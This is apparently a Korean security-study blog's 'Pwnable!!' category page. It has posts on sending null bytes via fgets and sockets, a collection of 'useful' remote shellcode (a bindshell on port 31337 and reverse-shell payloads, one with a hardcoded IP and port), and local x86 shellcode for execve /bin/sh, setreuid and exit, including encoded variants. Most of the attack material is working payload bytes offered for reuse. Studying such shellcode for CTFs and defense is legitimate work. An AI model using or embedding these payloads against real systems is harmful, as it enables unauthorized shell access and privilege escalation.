Pwnable!!

procfs_search.h 사용하기

2018. 3. 17. 13:57

http://umbum.tistory.com/190

fgets과 socket에서 0x00

2018. 3. 8. 22:47

프로그램에서 fgets로 받는 경우 EOF(보통 -1) 또는 개행문자(\xa0)를 입력하지 않는 경우 계속 입력을 대기하기 때문에

끝에 \n을 보내주어야 한다. 만약 0x00807523을 보낸다고하면 \x23\x75\x80을 보낼텐데

이렇게 보내면 마지막에 \xa0이 붙어 \x23\x75\x80\xa0이 되므로 \x23\x75\x80\x00으로 보내야한다.


fgets는 EOF나 개행문자가 아니면 계속 받으므로... 0x00 (NULL)을 넣어줘도 받아먹는다


* 이것과 별개로 socket도 byte로 동작하기 때문에 00-ff 모두 보낼 수 있기 때문에 0x00이 NULL문자라 중간에 끓길것을 고려하지않아도된다.



참고로 입력해줄때 조심해야할것... 0x20이나 0xa0같은 경우 공백과 개행문자여서 넣어줄때 "나 '등으로 감싸주어야한다.

유용한 쉘코드(원격)

2018. 2. 18. 16:29

바인드쉘 :  공격당하는 서버의 다른 포트를 열어 쉘을 띄우는 것

리버스쉘 :  공격자의 열려있는 포트로 서버가 접속하도록 하는 것


131byte bindshell code, bind port:31337


"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5"


리버스쉘  https://www.exploit-db.com/exploits/25497/


unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";


shellcode=\

"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"+\

"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x0a\xd3\x37\x02\x68"+\

"\x02\x00\x10\xe1\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"+\

"\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\

"\x52\x53\x89\xe1\xb0\x0b\xcd\x80"



'Pwnable!!' 카테고리의 다른 글

procfs_search.h 사용하기  (0) 2018.03.17
fgets과 socket에서 0x00  (0) 2018.03.08
유용한 쉘코드(x86 Shellcode 로컬)  (0) 2018.02.11
[인프라] 리눅스 강의 (생활코딩)  (0) 2017.07.05
[맛보기]시스템 해킹  (0) 2017.03.28

0x01. 가장 기본적으로 쉘을 띄우는 코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

bytes : 25

미포함 : setreuid(), exit()


0x02. 쉘을 종료할 때 exit(0)으로 정상종료까지 시켜주는 코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80

bytes : 31

미포함 : setreuid()


0x03. setreuid(geteuid(), getreuid()), exit(0) 까지 포함시킨 쉘 코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80

bytes : 47


0x04. exit(0) 코드

\x31\xc0\xb0\x01\xcd\x80

bytes : 6


0x05. setreuid(geteuid(), geteuid()) 코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80

bytes : 16 


Linux/x86 execve /bin/sh shellcode 23 bytes 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80


linux x86 파일명 shellcode 48byte

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81


x2f : / 표시없는 쉘코드

byte : 70

\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6

'Pwnable!!' 카테고리의 다른 글

procfs_search.h 사용하기  (0) 2018.03.17
fgets과 socket에서 0x00  (0) 2018.03.08
유용한 쉘코드(원격)  (0) 2018.02.18
[인프라] 리눅스 강의 (생활코딩)  (0) 2017.07.05
[맛보기]시스템 해킹  (0) 2017.03.28

생활코딩 리눅스 강의


https://opentutorials.org/course/2598

'Pwnable!!' 카테고리의 다른 글

procfs_search.h 사용하기  (0) 2018.03.17
fgets과 socket에서 0x00  (0) 2018.03.08
유용한 쉘코드(원격)  (0) 2018.02.18
유용한 쉘코드(x86 Shellcode 로컬)  (0) 2018.02.11
[맛보기]시스템 해킹  (0) 2017.03.28

[맛보기]시스템 해킹

2017. 3. 28. 23:44
  • 명령어 삽입 공격
  • 레이스 컨디션
  • 메모리 오염 공격

엥... 정리를 안해놨다; 










'Pwnable!!' 카테고리의 다른 글

procfs_search.h 사용하기  (0) 2018.03.17
fgets과 socket에서 0x00  (0) 2018.03.08
유용한 쉘코드(원격)  (0) 2018.02.18
유용한 쉘코드(x86 Shellcode 로컬)  (0) 2018.02.11
[인프라] 리눅스 강의 (생활코딩)  (0) 2017.07.05

+ Recent posts